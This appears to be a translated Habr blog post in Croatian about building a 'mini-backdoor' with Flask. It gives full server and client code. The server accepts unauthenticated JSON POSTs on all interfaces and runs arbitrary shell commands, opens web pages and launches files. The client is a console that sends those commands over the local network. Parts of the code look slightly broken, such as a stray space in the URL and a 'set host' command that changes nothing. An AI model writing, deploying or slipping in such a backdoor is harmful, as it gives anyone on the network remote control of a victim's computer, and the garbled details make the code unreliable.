Bok, Habr!
Nedavno sam pogledao preuzetu verziju streama o programiranju 'Kako stvoriti svoju web aplikaciju na Flasku'. I odlučio sam učvrstiti svoje znanje u nekom projektu. Dugo sam razmišljao o tome što napisati i tada mi je pala na pamet ideja: 'Zašto ne napraviti mini-backdoor na Flasku?'
U glavi su se odmah pojavile prve ideje o realizacijama i mogućnostima backdoora. No, odlučio sam odmah sastaviti popis mogućnosti backdoora:
- Mogućnost otvaranja web stranica
- Pristup komandnoj liniji
- Mogućnost otvaranja programa, slika, videa
Dakle, prvu točku je izuzetno lako implementirati pomoću modula webbrowser. Drugom točkom odlučio sam se poslužiti modulom os. A treću ću također koristiti kroz modul os, ali ću koristiti 'linkove' (o tome kasnije).
Pisanje poslužitelja
Evo, *da se čuje bubanj* sav kod poslužitelja:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('\/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'Poslužitelj radi i čeka na komande...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https:\/\/www.'+json_string['data'], new=0)
return 'Otvaram stranicu ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Izvršavam komandu ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Pokrećem ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
Već sam prikazao cijeli kod, sada je vrijeme da objasnim suštinu.
Cijeli kod se pokreće na lokalnom računalu na portu 5000. Za interakciju s serverom moramo slati JSON POST zahtjev.
Struktura JSON zahtjeva:
{‘command’: ‘doComandu’, ‘data’: ‘nekiPodaci’}Pa, logično je da je 'command' – komanda koju želimo izvršiti. A 'data' – argumenti komande.
Možete pisati i slati JSON zahtjeve za interakciju s poslužiteljem ručno (tu su vam na raspolaganju requests). A možete napisati konzolnog klijenta.
Pisanje klijenta
Kod:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://'+iport+' /mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Komanda ne sadrži argumente!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('Komanda ne sadrži argumente!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
Objašnjenja:
Prvo se importira requests modul (za interakciju sa serverom). Zatim su opisane funkcije start i test. Nakon toga slijedi petlja u kojoj se odvija čarobnost. Jeste li pročitali kod? Znači, jasan vam je smisao čarobnosti koja se odvija u petlji. Unesite komandu – ona će se izvršiti. Shell – komande za komandnu liniju (logika se intenzivira).
Test – provjerava da li server (backdoor) radi.
Link – korištenje "prečice"
Openweb – otvaranje web stranice
Quit – izlaz iz klijenta
Set – postavljanje IP adrese vašeg računala u lokalnoj mreži
A sada detaljnije o linku.
Pored servera se nalazi datoteka link.txt. U njoj su linkovi (potpuni put) do datoteka (video, fotografije, programi).
Struktura je sljedeća:
pun pogodak > opis
pun pogodak > opis
Zaključak
Imamo backdoor server za upravljanje računalom unutar lokalne mreže (unutar wi-fi mreže). Tehnički, možemo pokrenuti klijent s bilo kojeg uređaja koji ima Python interpreter.
P.S. Komandu set sam dodao kako bih omogućio promjenu IP adrese ako računalu u lokalnoj mreži bude dodijeljena druga IP adresa, slijedi direktno u klijentu.
Izvor: habr.com
